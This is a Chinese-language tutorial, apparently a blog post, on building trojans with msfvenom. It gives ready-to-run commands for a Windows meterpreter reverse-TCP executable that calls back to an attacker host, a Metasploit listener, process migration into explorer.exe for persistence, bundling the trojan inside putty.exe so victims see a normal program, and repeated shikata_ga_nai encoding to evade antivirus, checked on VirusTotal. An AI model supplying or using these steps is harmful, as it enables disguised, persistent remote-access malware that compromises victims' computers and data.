MsfVenom木马制作及使用

msfvenom基本用法

1、功能介绍

msfvenom的功能:常用于生成木马,在目标机器执行,在本地机器kali中上线,与反弹shell类似。MsfVenom可以生成两种类型的攻击载荷:

(1)Payload:Payload中包含攻击进入目标主机后需要再远程系统中运行的恶意程序,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

(2)Shellcode:Shellcode是Payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了Shellcode这一组指令后,才会提供一个命令行shell。(一组指令,不是可执行程序,通过正常应用程序捆绑)

2、攻击载荷分类

(1)Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,所以其生成的Payload通常很大。

(2)Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。

(3)Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

Single Payload的格式为:<target>/ <single>

如:windows/poweshell_bind_tcp
Stager/Stage Payload的格式为:<target>/ <stage> / <stager>

如:windows/meterpreter/reverse_tcp

3、小试牛刀

执行以下指令,将会生成一个文件名为shell.exe的Windows可执行程序,下载到Windows上执行,将会在进程中看到该程序。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=6666 -f exe -o shell.exe

或

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=6666 -f exe > shell.exe

(-p:指定需要使用的Payload;-f:指定文件类型;-o:保存到指定文件路径,同 ' > ' )

接下来,使用MSF的监听模块上线

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

show options

set lhost 192.168.0.102

set lport 6666

run

一旦shell.exe执行,则界面反弹到meterpreter中进行利用。

现在可以使用截图命令查看被攻击端的页面

4、进程注入

开启exploit/multi/handler后,运行shell.exe上线。如果在windows的任务管理器中结束掉shell.exe的进程并不会下线。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.102 lport=6666 prependmigrateprocess=explorer.exe prependmigrate=true -f exe > shell-1.exe

(prependmigrateprocess:设置移植到哪个进程上)

在被攻击机上运行shel-1.exe后结束掉该进程,并没有下线,而是移植到了另外一个进程中

5、程序捆绑

直接将木马与某一个应用程序进行捆绑,当用户点击木马运行时,不仅木马上线,而且程序也会正常运行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=6666 -a x86 --platform windows -x putty.exe -k -f exe -o myputty.exe

(-a:对应x86架构;--platform:表示生成windows平台上的;-x:捆绑到某个程序;-k:启动木马时,捆绑程序也正常启动)

6、确认免杀效果

使用编码或代码混淆生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.102 lport=6666 -e x86/shikata_ga_nai -i 10 -f exe > shell-2.exe

(-e:在x86的架构下使用shikata_ga_nai 编码器进行混淆;-i:对代码混淆10次)

生成木马后可以使用工具在线检测(VirusTotal - Home / VirScan - 多引擎文件在线检测平台)

相关推荐
xiaohaiAIgeo4 小时前
【2026年】通风柜自动门安全吗?联锁逻辑与防夹设计
人工智能·安全·科普知识
·云扬·5 小时前
Prompt 工程与安全:从 System 设计到注入防御
java·人工智能·安全·ai·prompt
QZ166560951598 小时前
金融数据流转监测排行:从看见到拦截的距离
网络·安全·网络安全·金融
看着博客敲代码9 小时前
WorkBuddy 接上 Kali MCP 做自动化渗透:信息收集到初步验证的落地记录
linux·人工智能·安全·网络安全·自动化
里昂00710 小时前
发工单前,怎样清理 JSON 日志而不破坏排错信息?
安全
学逆向的11 小时前
C 突破编译器限制
c语言·开发语言·网络安全
砚凝霜12 小时前
【软考信息安全】第二十一章 网络设备安全概述与安全机制
网络·安全
看着博客敲代码13 小时前
Nmap NSE 资产指纹识别:从脚本输出到资产清单
安全·网络安全·自动化
熊出没14 小时前
AI Agent 生产级架构设计:工具调用与MCP、RAG、安全护栏与评估体系
人工智能·安全·架构设计·rag·ai agent
山东科恩光电14 小时前
安全地毯材质特性与多场景防护应用及日常维护要点
安全